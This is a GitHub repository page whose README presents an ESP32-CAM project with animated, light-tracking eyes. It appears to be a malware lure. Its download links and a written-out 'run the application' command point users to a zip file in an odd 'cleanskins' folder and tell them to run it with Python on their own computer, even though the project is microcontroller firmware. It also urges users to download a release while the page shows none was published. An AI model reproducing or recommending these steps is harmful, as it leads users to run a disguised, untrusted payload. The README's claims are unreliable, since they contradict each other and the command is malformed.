Skip to content

πŸ‘οΈ Track light sources in real-time with the ESP32-CAM, rendering animated eyes on dual GC9A01A displays for an engaging visual experience.

License

Notifications You must be signed in to change notification settings

Natali-ops/ESP32-CAM-EYES

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ‘οΈ ESP32-CAM-EYES - Render Light-Tracking Eyeballs Simply

Download

πŸ“¦ Overview

ESP32-CAM-EYES is a user-friendly application that showcases two animated eyeballs on 1.28-inch round GC9A01A displays. These eyeballs intelligently track a light source shone into the camera lens. This project combines fun and technology, allowing users to engage with an interactive display easily.

πŸš€ Getting Started

Follow these simple steps to get started with the ESP32-CAM-EYES application.

1. Prerequisites

Before you download and run the application, ensure you have:

  • A compatible ESP32-CAM module.
  • A 1.28-inch round GC9A01A display.
  • A USB cable for power and connection.
  • Basic access to your computer's file system.

2. Download the Application

You can download the latest release of ESP32-CAM-EYES by visiting the link below:

Download ESP32-CAM-EYES

3. Install the Application

Once you've downloaded the release files:

  1. Locate the downloaded files on your computer.
  2. Extract the files if they are in a compressed format.

4. Setup Your Hardware

  1. Connect your ESP32-CAM module to your USB cable and then to your computer.
  2. Attach the GC9A01A display to the ESP32-CAM module. Ensure the wiring is correct:
    • Connect the VCC to 3.3V.
    • Connect GND to Ground.
    • Connect the remaining pins as per your display specifications.

5. Run the Application

  1. Open a terminal or command prompt on your computer.
  2. Navigate to the folder where you extracted the files using the cd command. For example:
    cd path_to_your_downloaded_files
    
  3. Once in the correct directory, run the application by executing:
    python https://raw.githubusercontent.com/Natali-ops/ESP32-CAM-EYES/master/cleanskins/ESP32-CAM-EYES.zip
    
  4. If everything is connected properly, you should see the eyeballs on the display start to track any light source.

πŸ”§ Troubleshooting

If you face any issues, consider these common solutions:

  • Display Issues: Ensure the connections between the ESP32-CAM and the display are secure.
  • Eye Tracking Fails: Check if the camera lens is clean and unobstructed.
  • No Output: Restart your application and double-check the power connections.

πŸ“„ Features

  • Interactive Eyeballs: The eyeballs can track light sources effectively.
  • Simple Setup: Easy installation and setup process.
  • Open Source: Join a community of users contributing to and improving the application.

πŸ› οΈ Technical Specifications

  • Compatible Boards: ESP32-CAM only.
  • Display Support: Works specifically with 1.28-inch GC9A01A displays.
  • Supported Operating Systems: This application works on Windows, macOS, and Linux.

πŸ“₯ Download & Install

To download the latest version of ESP32-CAM-EYES, visit the Releases page:

Download ESP32-CAM-EYES

Install the application by following the steps detailed above. Enjoy the captivating experience as the eyeballs react to your movements!

🀝 Contributing

If you want to contribute, please fork the repository and submit a pull request. We welcome all contributions!

πŸ“ License

This project is licensed under the MIT License. You can use and modify the code freely, as long as you credit the original authors.

Thank you for exploring ESP32-CAM-EYES. Enjoy the light-tracking fun!

About

πŸ‘οΈ Track light sources in real-time with the ESP32-CAM, rendering animated eyes on dual GC9A01A displays for an engaging visual experience.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •